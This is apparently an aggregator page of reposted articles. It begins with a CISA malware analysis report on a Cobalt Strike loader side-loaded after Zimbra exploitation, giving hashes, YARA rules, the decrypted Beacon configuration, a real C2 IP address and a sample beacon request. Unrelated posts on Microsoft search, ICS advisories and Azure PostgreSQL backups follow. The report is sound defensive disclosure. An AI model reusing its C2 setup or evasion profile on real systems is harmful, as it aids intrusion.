10398871-1.v2 Zimbra October Update

10398871-1.v2 Zimbra October Update

This article is contributed. See the original author and article here.

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received a benign 32-bit Windows executable file, a malicious dynamic-link library (DLL) and an encrypted file for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The executable file is designed to side-load the malicious DLL file. The DLL is designed to load and Exclusive OR (XOR) decrypt the encrypted file. The decrypted file contains a Cobalt Strike Beacon binary. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the command and control (C2) server and checks for additional commands to execute on the compromised system.

For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.

Download the PDF version of this report: MAR-10398871-1.v2.WHITE, 372 kb

Submitted Files (3)

233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 (bin.config)

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 (VFTRACE.dll)

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 (vxhost.exe)

Additional Files (1)

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e (Extracted_CobaltStrike_Beacon)

IPs (1)

207.148.76.235

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348

Tags

loaderpup

Details
Name vxhost.exe
Size 351240 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 4109ac08bdc8591c7b46348eb1bca85d
SHA1 6423d1c324522bfd2b65108b554847ac4ab02479
SHA256 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
SHA512 0605362190a9cb04a7392c7eae3ef79964a76ea68dc03dfabe6ec8f445f1c355772f2ca8166cbee73188e57bff06b74fb2cfa59869cb4461fffe1c3589856554
ssdeep 6144:BTMoU0+zvvLIpa8bo5GOc1G41vupWn2rwRGekPHZLZKA1UnmOlm:XUDvvsc80AOc1GYvAW2EGtH5ZKAKmOQ
Entropy 6.471736
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2016-01-05 08:22:40-05:00
Import Hash b66afb12e84aa5ce621a6635837cadba
Company Name CyberArk Software Ltd.
File Description CyberArk Viewfinity
Internal Name vf_host.exe
Legal Copyright Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename vf_host.exe
Product Name CyberArk Viewfinity
Product Version 5.5.10.101
PE Sections
MD5 Name Raw Size Entropy
3822119e846581669481aba79308c57c header 1024 2.580725
98ccfff2af4ccaa3335f63592a1fba02 .text 270848 6.543317
9dcc89a0d16e36145bb07924ca260dfe .rdata 50688 5.132125
14d493033fc147f67601753310725b2b .data 5632 3.711689
615729d1383743a91b8baf309f1a8232 .rsrc 16896 4.839559
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
df847abbfa… Used 25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51
Description

This artifact is a 32-bit executable file that has been identified as a version of vf_host.exe from Viewfinity and is benign. The file is used to side-load a DLL, vftrace.dll “058434852bb8e877069d27f452442167”.

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51

Tags

loadertrojan

Details
Name VFTRACE.dll
Size 78336 bytes
Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5 058434852bb8e877069d27f452442167
SHA1 026d81090c857d894aaa18225ec4a99e419da651
SHA256 25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51
SHA512 602ad76d61e97d72d983083768eba32d3ad549ac1c763a9b39092feaef8bd4d186df18b6f91992ac8da517e86b84aaa2422da700798a65f4383ed997f52744e3
ssdeep 1536:carhs4oc7yABoxjo5p+Ocyk7P0Okmu4dJsWxcdbbZFUZAUZpw/:ndy8oxjS+Ocyk7sMzCbVFUZAULW
Entropy 6.278601
Antivirus
Adaware Gen:Variant.Bulz.429221
Avira TR/Agent.bjbhb
Bitdefender Gen:Variant.Bulz.429221
Cyren W32/ABRisk.LHKD-1052
ESET a variant of Win32/Agent.AELW trojan
Emsisoft Gen:Variant.Bulz.429221 (B)
IKARUS Trojan.Win32.Agent
K7 Trojan ( 00595a621 )
Symantec Trojan.Gen.MBT
Zillya! Trojan.Agent.Win32.2882847
YARA Rules
  • rule CISA_10398871_01 : trojan loader COBALTSTRIKE
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10398871”
           Date = “2022-09-29”
           Last_Modified = “20221001_1200”
           Actor = “n/a”
           Category = “Trojan Loader”
           Family = “COBALTSTRIKE”
           Description = “Detects CobaltStrike Loader samples”
           MD5=”058434852bb8e877069d27f452442167″
           SHA256=”25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51″
       strings:
           $s1 = { 62 69 6E 2E 63 6F 6E 66 69 67 }
           $s2 = { 56 46 54 52 41 43 45 }
           $s3 = { FF 15 18 D0 00 10 }
           $s4 = { FF 15 28 D0 00 10 }
           $s5 = { 8B 55 EC 03 55 F4 0F B6 02 33 45 E4 }
       condition:
           uint16(0) == 0x5A4D and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2022-06-20 05:36:32-04:00
Import Hash 6677de6818bcf597d512ad4ddaea3f53
Company Name CyberArk Software Ltd.
File Description CyberArk Viewfinity
Internal Name VFTRACE.dll
Legal Copyright Copyright © 1999-2016 CyberArk Software Ltd. All Rights Reserved.
Original Filename VFTRACE.dll
Product Name CyberArk Viewfinity
Product Version 5.5.10.101
PE Sections
MD5 Name Raw Size Entropy
ef4a8b161c3676b052755f8c0bf9f3bd header 1024 2.828221
48afd9b4ef10b5f14b2c10c9581cbc2d .text 45568 6.611882
f99c54571592839d48904df07f921829 .rdata 24064 4.990721
8a5c1764d3d68e0963003dd46f3b905e .data 2560 1.834913
1e0c952d3a72e7edcda3b58acd829b6b .rsrc 1536 3.799739
41dfd851e9053a3876aa86212cd5d4a1 .reloc 3584 6.485745
Packers/Compilers/Cryptors
Borland Delphi 3.0 (???)
Relationships
25da610be6… Used_By df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348
25da610be6… Used 233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91
Description

This artifact is a malicious 32-bit DLL file loaded by “vxhost.exe” (4109ac08bdc8591c7b46348eb1bca85d). This file is designed to search and load an encrypted file “%current directory%bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) if installed on the compromised system. It decrypts the file using the hard-coded XOR key “0x401”. The decrypted binary contains a Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header. It copies the Cobalt Strike Beacon DLL into a buffer and executes the shellcode.

Screenshots

Figure 1 - This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file "bin.config" (be2b0c387642fe7e8475f5f5f0c6b90a) before executed in memory.

Figure 1 – This screenshot illustrates code extracted from this malware where it loads and XOR decrypts the encrypted file “bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) before executed in memory.

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e

Tags

trojan

Details
Name Extracted_CobaltStrike_Beacon
Size 210953 bytes
Type data
MD5 ff1d9474c2bfa9ada8d5ed3e16f0b04a
SHA1 60299a59f05b10f49f781dc073249bcb7ec27b63
SHA256 3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
SHA512 a064097eb149f7a23df75d7575f8c30ffb83fd7ad0a00ab379c34c114827cef5ec574a1126a7f914eeed08a8c8230c796cdc5cdf111cc238fa6e9427580f9fab
ssdeep 6144:tRqu98CxD0cdRScc6stsxB4WLks1YarGR8Wjo/gj:F24hdEjWLks1YarGR85Yj
Entropy 6.968463
Antivirus
Adaware DeepScan:Generic.Exploit.Shellcode.2.8AF0A507
Bitdefender DeepScan:Generic.Exploit.Shellcode.2.8AF0A507
Emsisoft DeepScan:Generic.Exploit.Shellcode.2.8AF0A507 (B)
Trend Micro Trojan.FC904969
Trend Micro HouseCall Trojan.FC904969
YARA Rules
  • rule CISA_10398871_02 : trojan COBALTSTRIKE
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10398871”
           Date = “2022-09-29”
           Last_Modified = “20221001_1200”
           Actor = “n/a”
           Category = “Trojan”
           Family = “COBALTSTRIKE”
           Description = “Detects CobaltStrike trojan shellcode samples with an embedded beacon”
           MD5=”ff1d9474c2bfa9ada8d5ed3e16f0b04a”
           SHA256=”3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e”
       strings:
           $s1 = { 41 41 41 41 }
           $s2 = { 42 42 42 42 }
           $s3 = { 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 }
           $s4 = { 8B 4D 08 51 6A 01 8B 55 C0 52 FF 55 C8 }
       condition:
           uint16(9) == 0x5A4D and all of them
    }
ssdeep Matches

No matches found.

Relationships
3450d5a3c5… Connected_To 207.148.76.235
3450d5a3c5… Contained_Within 233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91
Description

This file is decrypted and executed by “vftrace.dll” (058434852bb8e877069d27f452442167). This file is a 32-bit Portable Executable (PE) DLL that has an embedded shellcode inside of the MZ header, which is located at the start of the file. When executed, the shellcode decrypts an embedded beacon payload using a single-byte XOR key 0xC3. It executes the entry point of the decrypted payload in memory at runtime. The decrypted payload has been identified as a Cobalt Strike Beacon implant. During the execution, it decodes its configuration using a single-byte XOR key 0x4f. The configuration contains the, RSA public key, C2, communication protocol, and more. The parsed configuration data for the Cobalt Strike Beacon implant is displayed below in JSON format:

–Begin configuration in the Cobalt Strike Beacon–
{
“BeaconType”: [
   “HTTPS”                         ==> Beacon uses HTTPS to communicate
],
“Port”: 443,
“SleepTime”: 5000,                ==> Timing of C2 Beacons via Sleeptime and Jitter feature
“MaxGetSize”: 1403644,
“Jitter”: 20,                         ==> . Jitter value to force Beacon to randomly modify its sleep time. Jitter of 20 means that there is a random jitter of 20% of 5000 milliseconds
“MaxDNS”: “Not Found”,     ==> Publickey to encrypt communications
“PublicKey”:                     “MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDApWEZn8vYHYN/JiXoF72xGpWuxdZ7gGRYn6E7+mFmsVDSzImL7GTMXrllB4TM6/oR+WDKk0L+8elLel63FXPQ3d3K/t1/8dnYBLpjPER+/G/iu2viAN+6KEsQfKA3O6ZvABg9/uH86G2erow7Ik4a2VinucYSkKJ8jYV1yfeDzQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==”,
“PublicKey_MD5”: “9b96180552065cdf6cc42f8ba6f43f8b”,
“C2Server”: “207[.]148[.]76[.]235,/jquery-3.3.1.min.js”,
“UserAgent”: “Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36”,
“HttpPostUri”: “/jquery-3.3.2.min.js”,
“Malleable_C2_Instructions”: [
   “Remove 1522 bytes from the end”,
   “Remove 84 bytes from the beginning”,
   “Remove 3931 bytes from the beginning”,
   “Base64 URL-safe decode”,
   “XOR mask w/ random key”
],
“HttpGet_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [
    “base64url”,
    “prepend “__cfduid=””,
    “header “Cookie””
   ],
   “SessionId”: [],
   “Output”: []
},
“HttpPost_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [],
   “SessionId”: [
    “mask”,
    “base64url”,
    “parameter “__cfduid””
   ],
   “Output”: [
    “mask”,
    “base64url”,
    “print”
   ]
},
“SpawnTo”: “AAAAAAAAAAAAAAAAAAAAAA==”,
“PipeName”: “Not Found”,
“DNS_Idle”: “Not Found”,
“DNS_Sleep”: “Not Found”,
“SSH_Host”: “Not Found”,
“SSH_Port”: “Not Found”,
“SSH_Username”: “Not Found”,
“SSH_Password_Plaintext”: “Not Found”,
“SSH_Password_Pubkey”: “Not Found”,
“SSH_Banner”: “”,
“HttpGet_Verb”: “GET”,
“HttpPost_Verb”: “POST”,
“HttpPostChunk”: 0,
“Spawnto_x86”: “%windir%syswow64dllhost.exe”,
“Spawnto_x64”: “%windir%sysnativedllhost.exe”,
“CryptoScheme”: 0,
“Proxy_Config”: “Not Found”,
“Proxy_User”: “Not Found”,
“Proxy_Password”: “Not Found”,
“Proxy_Behavior”: “Use IE settings”,
“Watermark”: 1234567890,
“bStageCleanup”: “True”,
“bCFGCaution”: “False”,
“KillDate”: 0,
“bProcInject_StartRWX”: “False”,
“bProcInject_UseRWX”: “False”,
“bProcInject_MinAllocSize”: 17500,
“ProcInject_PrependAppend_x86”: [
   “kJA=”,
   “Empty”
],
“ProcInject_PrependAppend_x64”: [
   “kJA=”,
   “Empty”
],
“ProcInject_Execute”: [
   “ntdll:RtlUserThreadStart”,
   “CreateThread”,
   “NtQueueApcThread-s”,
   “CreateRemoteThread”,
   “RtlCreateUserThread”
],
“ProcInject_AllocationMethod”: “NtMapViewOfSection”,
“ProcInject_Stub”: “s7YR+gVAMtA1Jtjf0KV/Cw==”,     ==> the Base64 encoded MD5 file hash of the Cobalt Strike
“bUsesCookies”: “True”,
“HostHeader”: “”,
“smbFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“tcpFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“headersToRemove”: “Not Found”,
“DNS_Beaconing”: “Not Found”,
“DNS_get_TypeA”: “Not Found”,
“DNS_get_TypeAAAA”: “Not Found”,
“DNS_get_TypeTXT”: “Not Found”,
“DNS_put_metadata”: “Not Found”,
“DNS_put_output”: “Not Found”,
“DNS_resolver”: “Not Found”,
“DNS_strategy”: “round-robin”,
“DNS_strategy_rotate_seconds”: -1,
“DNS_strategy_fail_x”: -1,
“DNS_strategy_fail_seconds”: -1
}
–End configuration in the Cobalt Strike Beacon–

It is designed to use a JavaScript library jQuery malleable C2 profile for communication to evade detection. It attempts to send a GET request to its C2 server with metadata in the cookie header “__cfduid” that contains information about the compromised system such as, username, computer name, operating system (OS) version, the name of the malware executing on the victim’s system, and other information. The metadata in the cookie header is encrypted and encoded.

Displayed below is the RSA public key used to encrypt the metadata before it is encoded using NetBios (uppercase) and base64 encoding algorithm:

–Begin public key–
30 81 9F 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 81 8D 00 30 81 89 02 81 81 00 C0 A5 61 19 9F CB D8 1D 83 7F 26 25 E8 17 BD B1 1A 95 AE C5 D6 7B 80 64 58 9F A1 3B FA 61 66 B1 50 D2 CC 89 8B EC 64 CC 5E B9 65 07 84 CC EB FA 11 F9 60 CA 93 42 FE F1 E9 4B 7A 5E B7 15 73 D0 DD DD CA FE DD 7F F1 D9 D8 04 BA 63 3C 44 7E FC 6F E2 BB 6B E2 00 DF BA 28 4B 10 7C A0 37 3B A6 6F 00 18 3D FE E1 FC E8 6D 9E AE 8C 3B 22 4E 1A D9 58 A7 B9 C6 12 90 A2 7C 8D 85 75 C9 F7 83 CD 02 03 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
–End public key–

Displayed below is a sample jQuery Malleable C2 Hypertext Transfer Protocol (HTTP) GET request with metadata in the cookie header:

–Begin request–
GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=vZZ5M4aBtrWVoM5-rSVJFrF_ucMPaPE3QjFh6lc2jJ9YYlfZlI2k7M3PwRbOpG9HZXpYi7cauuFgY62ZfLQ9SvZF5anYnl0aQE6oR1Xi_D2fkuoNiug3oKXLk-Vj-Fwp1IhyNG4gKv0vzkU9Scy0EByFnaM2E-Prj__Bb1niJjw
User-Agent: Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Host: 207[.]148[.]76[.]235
Connection: Keep-Alive
Cache-Control: no-cache
–End request–

Analysis indicates that the C2 server will respond to the above HTTP GET request with encrypted data that contains commands, which the malware will decrypt and execute to perform additional functions. The C2 server response payload was not available for analysis.

Displayed below are sample functions built into the malware:

–Begin commands–
Make and change directory
Copy, move, remove files to the specified destination
Download and upload files
List drives on victim’s system
Lists files in a folder
Enable system privileges
Kills the specified process
Show running processes
Binds the specified port on the victim’s system
Disconnect from a named pipe
Process injection
Service creation
–End commands–

Screenshots

Figure 2 - The screenshot of the shellcode embedded in the MZ header.

Figure 2 – The screenshot of the shellcode embedded in the MZ header.

207.148.76.235

Ports
Whois

Recent Passive DNS Resolutions
wordpress-499253-1580367.cloudwaysapps.com
207.148.76.235
kejhnaxoi.alosmart.in
207.148.76.235
chanlycuocsong.com
207.148.76.235
291bc2ac-bd67-11e9-bd1f-d89d67231d10.vuhongminh.com
207.148.76.235
update.vuhongminh.com
207.148.76.235

IP Location
   Country: Singapore
   Region: Central Singapore
   City: Singapore
   ISP: Sgp_vultr_cust

Whois Server
   whois.apnic.net

Whois Record
% Abuse contact for ‘207.148.64.0 – 207.148.79.255’ is ‘abuse@choopa.com’

inetnum:        207.148.64.0 – 207.148.79.255
netname:        SGP_VULTR_CUST
descr:         SGP_VULTR_CUST
country:        SG
admin-c:        CLA15-AP
tech-c:         CLA15-AP
abuse-c:        AC1765-AP
status:         ASSIGNED NON-PORTABLE
mnt-by:         MAINT-CHOOPALLC-AP
mnt-irt:        IRT-CHOOPALLC-AP
last-modified: 2021-02-09T13:52:42Z
source:         APNIC

irt:            IRT-CHOOPALLC-AP
address:        100 Matawan Rd, Matawan NJ 07747
e-mail:         abuse@choopa.com
abuse-mailbox: abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
auth:         # Filtered
remarks:        abuse@choopa.com was validated on 2022-04-14
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-04-14T13:11:20Z
source:         APNIC

role:         ABUSE CHOOPALLCAP
address:        100 Matawan Rd, Matawan NJ 07747
country:        ZZ
phone:         +000000000
e-mail:         abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        AC1765-AP
remarks:        Generated from irt object IRT-CHOOPALLC-AP
remarks:        abuse@choopa.com was validated on 2022-04-14
abuse-mailbox: abuse@choopa.com
mnt-by:         APNIC-ABUSE
last-modified: 2022-04-14T13:12:10Z
source:         APNIC

role:         Choopa LLC administrator
address:        319 Clematis St. Suite 900
country:        US
phone:         +1-973-849-0500
fax-no:         +1-973-849-0500
e-mail:         abuse@vultr.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        CLA15-AP
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-07-19T11:35:13Z
source:         APNIC

route:         207.148.64.0/20
origin:         AS20473
descr:         Choopa, LLC
               14 Cliffwood Ave
               Suite 300
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2020-04-21T14:39:46Z
source:         APNIC

Relationships
207.148.76.235 Connected_From 3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
Description

The C2 domain configured in the Cobalt Strike Beacon.

Making Search Better Within Microsoft

Making Search Better Within Microsoft

This article is contributed. See the original author and article here.

The Challenge


Five years ago employee satisfaction with finding information within the company was very low. it was the lowest rated it service among all those we surveyed about. Related surveys done by other teams supported this, for instance that our software engineers “finding information” as one of the most wasteful frustrating activities in their job, costing the company thousands of man years of productivity.


 


A project team was formed to improve this. In the years since we have pursued:



  • Improving search result relevance

  • Improving search content completeness

  • Address content quality issues


 


The Microsoft Search Environment


Microsoft has >300,000 employees working around the globe, and collectively, our employees use or access many petabytes of content as they move through their workday. within our employee base, there are many different personas who have widely varying search interests and use hundreds of content sources. Those content sources can be file shares, Microsoft sharepoint sites, documents and other files, and internal websites. our employees also frequently access external websites, such as hr partners’ websites.


 


BillBaer_0-1666112751951.png


 


 


We began with user satisfaction survey net score at 87 (scale of 1-200, with 200 being perfect). We have reached satisfaction of 117. Our goal is 130+.


 


What We’ve Done


Core to our progress has been:



  1. Understanding the needs of the different personas around the company. At Microsoft, personas are commonly clustered based on three factors: their organization within the company, their profession, and their geographic location. For example, a Microsoft seller working in Latin America has different search interests than an engineer working in China.

    1. Has resulted in targeting bookmarks to certain security groups.

    2. Has led to outreach to certain groups and connecting with efforts they had underway to build a custom search portal or improve content discoverability.




 



  1. Understanding typical search behavior. For instance, the diagram below shows that a relatively small number of search terms account for a large portion of the search activity.


BillBaer_1-1666112751960.png




    1. We ensure bookmarks exist for most of the high frequency searches.

    2. We look for commonalities in low frequency searches for potential content to connect in.



 



  1. Improving content quality. This has ranged from deleting old content to educating content owners on most effective ways to adding metadata to their content so it ranks better in search results. As part of our partnership with this community, we provide reporting on measurable aspects of content quality. We are in early stages of pursuing quality improvement, with much to do in building a community across the company, measuring, and enabling metadata.


BillBaer_2-1666112751961.png


 


 BillBaer_3-1666112751963.png


 




    1. For those site owners actively using this reporting, we have seen a decrease of up to 70% in content with no recent updates.




  1. Utilizing improvements delivered in product, from improved relevance ranking to UX options like custom filters.

    1. We have seen steady improvement in result ranking.

    2. We also take advantage of custom filters and custom result KQL.

    3. We use Viva Topics. Topics now receive the most clicks after Bookmarks.





  1. Making our search coverage more complete. Whether it’s via bookmarks or connectors, there are many ways of making the search experience feel like it covers the entire company.

    1. We currently have 7 connections, one of which is custom built and brings in 10 different content sources. This content is clicked on in 5% of searches on our corporate SharePoint portal.

    2. About half of our bookmarks (~600) point to URLs outside of the corporate boundary, such as third-party hosted services.





  1. Analytics. Using SharePoint extensions, we capture all search terms and click actions on our corporate portal’s search page. We’ve used these extensively in deciding what actions to take. The sample below is a report on bookmarks and their usage. This chart alone enabled us to remove 30% of our bookmarks due to lack of use.


BillBaer_4-1666112751965.png


 


 


In analyzing the click activity on our corporate portal, the most impactful elements are:






















Bookmarks



Are clicked on in 45% of all searches and significantly shortens the duration of a search session.


We currently have ~1200 bookmarks making for quick discovery of the most commonly searched for content and tools around the company.



Topics



Are clicked on in 5-7% of all searches.



Connectors



Are clicked on in 4-5% of all searches.



Metadata



Good metadata typically moves an item from the bottom of the first page to the top half and from page 2 or later onto the bottom of page 1.



 


Additional details will be published in later blog posts. If of interest, details as to exactly what Microsoft search admin does in its regular administrative activities are described here.


 


Business Impact of Search


 


As shown in the preceding table, roughly half of all enterprise-level searches benefit from one of the search admin capabilities. Employees who receive such benefits average a one-minute faster search completion time than those whose searches don’t use those capabilities. Across 1.2 million monthly enterprise-level searches at Microsoft, that time savings amounts to more than 8,000 hours a month of direct employee-productivity benefit.


 


We achieve these results with an admin team of part-time individuals, investing a total of <300 hours per month doing direct search administration, responding to user requests to help find individual items, and maintaining a self-help site which advises employees on where and how to search best. We also have a larger improvement program striving to improve information discoverability across the company.


 


So 5 years into our improvement efforts, we have significantly improved user satisfaction, can now measure the productivity impact search is having, and built numerous partnerships across the company that are expected to continue yielding improvements in the years to come.


 


Lessons from this work is actively improving search has significant payback. The first step is to actively administer search, doing whatever helps the most popular searches to deliver the right results.

CISA Releases Two Industrial Control Systems Advisories

This article is contributed. See the original author and article here.

CISA released two Industrial Control Systems (ICS) advisories on October 18, 2022. These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS.

CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations:

Azure PostgreSQL Flexible Server has three exciting new backup and restore enhancements.

Azure PostgreSQL Flexible Server has three exciting new backup and restore enhancements.

This article is contributed. See the original author and article here.

fast-restore-teaser-small.png

 

Overview

 

Backup and restore are key pillars for business continuity and disaster recovery offerings for Azure Database for PostgreSQL Flexible Server. We’re excited to announce new features including Fast Restore, Geo Restore and Custom Restore Points to allow you more fine-grained control on your DR plan to achieve the RPO^ and RTO^^ objectives. In this post we’ll share an overview of each of these new features. Let’s get started.

 

1. Fast Restore

 

Point-in-time restore (PITR) is critical for disaster recovery by allowing recovery from accidental database deletion and data corruption scenarios. Today, PostgreSQL Flexible server performs automatic snapshot backups and allows restoring to latest point or a custom restore point. The estimated time to recover is heavily dependent on the size of transactions logs (WAL) that need to be replayed at the time of recovery. Without having much visibility into the last full backup time, it was never easy to predict the amount of time it takes to restore.

Fast-Backup-Restore.png

 

 

Many enterprises have use cases like testing, development, and data verifications where they don’t always require the latest data but need the ability to spin up a server quickly to ensure business continuity, we are glad to announce that Azure Database for PostgreSQL – Flexible Server now supports the Fast Restore feature to address these use cases. This lists all the available backups that you can choose to restore. Restore with provisions a new server and restores the backup from the snapshot and as no transaction log recovery is involved, the restores are fast and predictable. 


For more details about Fast Restore, refer the how-to-guide.

 

2. Geo Backups and Restore

 

Organizations around the world, such as government agencies, financial institutions, and healthcare providers, are looking for ways to protect their valuable data from regional failures including natural disasters. Azure Database for PostgreSQL Flexible Server already provides high availability (HA) using same zone and cross zone redundancy options. However, it cannot protect from all possible data loss scenarios such as a malicious actor, or logical corruption of a database.

geo-restore-choose-checkbox.png

 

 

For added disaster recovery capability, Flexible server now offers Geo Backups and Restore. This feature allows you configure your Azure postgres database to replicate snapshots and transaction logs to a paired region asynchronously through storage replication. Geo redundant backups can be restored to the server in paired region.


For more information about performing a geo-restore, refer the how-to guide.

3. Backups and Restore blade

 

We have heard your feedback for having better visibility into the backup and added a dedicated Backup and Restore blade in the Azure portal. This blade lists the backups available within the server’s retention period, effectively providing customers with single pane view for managing a server’s backups and consequent restores.

Fast-Backup-List.png

 

 

Customers can use this for the following:

  1. View the completion timestamps for all available full backups within the server’s retention period
  2. Perform restore operations using these full backups.

The list of available backups includes all full automated backups within the retention period, a timestamp showing the successful completion, a timestamp indicating how long a backup will be retained, and a restore action.

 

Conclusion

 

In this post, we shared some key backup and restore enhancements to provide disaster recovery within Azure database for PostgreSQL Flexible Server. Geo-backups are ideal if you need a cost-effective cross-Region DR capability that helps save on compute costs. Fast restore allows to have more predictable restore time. And backup restore blade exposing the history of full backups.

If you have any feedback for us or questions, drop us an email @AskAzureDBforPostgreSQL.

With these improvements, we continue to innovate the service offering and backup and restore capabilities of Azure Database for PostgreSQL Flexible Server.

^ RTO is Recovery Time Objective and is a measure of how quickly after an outage an application must be available again. 
^^ RPO is Recovery Point Objective, refers to how much data loss an application can tolerate.

Acknowledgements

Special thanks to Kanchan Bharati for co-authoring this post.